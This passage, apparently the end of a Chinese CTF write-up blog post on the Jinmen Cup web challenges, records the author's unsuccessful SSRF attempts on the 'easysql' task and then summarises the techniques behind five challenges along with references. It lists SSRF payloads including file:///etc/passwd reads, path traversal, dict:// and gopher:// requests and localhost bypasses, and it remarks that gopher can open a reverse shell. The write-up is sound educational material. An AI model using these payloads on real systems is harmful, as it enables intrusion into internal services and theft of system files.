  • index.php?url=dict://127.0.0.1/info
  • index.php?url=file:///etc/passwd
  • index.php?url=…/…/…/…/…/etc/passwd
  • index.php?url=file:///var/www/html/admin.php
  • index.php?url=http://127.0.0.1.sslip.io/admin.php

其他题目有成功的,但本题难度更大。

第四步,尝试本地PHP服务器进行SSRF漏洞利用,提示没有资源。

  • index.php?url=http://127.0.0.1/XCTF/test.php

第五步,利用本地连接进行重定向查询尝试。

  • index.php?url=http://121.36.147.29:20001/admin.php

提示需要poc请求,说明存在admin.php文件,但是需要提权或其他方法。

第六步,利用gopher协议通过302 本地php跳转并post key到flag.php,但提示。

  • ?url=gopher://121.36.147.29:20001/ _POST%2520/admin.php%2520HTTP/1.1

gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议),可用于反弹shell.

第七步,此时意识到需要通过请求特征来构造gopher重定向Payload,再结合SQL注入实现(题目easysql),但确实没做出来。

期间也尝试curl方法。

也看到其他题目成功的例子。


3.SQL注入错误尝试

SQL注入直接Sqlmap会失败,需要盲注实现,前面已经介绍过。但难点是与SSRF结合的时间盲注。


总结

写到这里,这篇文章就介绍结束了,希望对您有所帮助,下面简单总结每题知识点。

  • 第一题 power_cut dirsearch扫描网站 备份文件 反序列化漏洞
  • 第二题 hate_php 代码审计 绕过数字和字母 下划线 美元符
  • 第三题 Go0SS GO代码审计 利用302重定向 本地服务器实现SSRF 绕过…和//
  • 第四题 HploadHub 文件上传漏洞 Apache2.conf配置文件 .htaccess PHP获取flag方法 蚁剑用法总结
  • 第五题 easysql SSRF SQL盲注 本地绕过

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,由于在外读博,目前暂停技术更新,但这篇确实应该总结下,希望您能与我一起进步。

总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔。同时再次感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。


参考文章如下,感谢这些大佬。

  • [1] 津门杯 – WEB-Write-Up HA1C9ON
  • [2] 津⻔杯-WriteUp Chamd5安全团队
  • [3] NU1L大佬团队和官方WP
  • [4] CTF | Web安全 Part1:基础知识 - Ackeray
  • [5] CTF中PHP常见漏洞及利用(未完待续)
  • [6] CTFHub Bypass disable_function系列(已完结)
  • [7] SSRF 漏洞分析与利用(含 CTF 例题)
  • [8] linux curl get请求_CTF自学笔记(四)
  • [9] CTFHUB技能树-SSRF【POST请求】

0 人点赞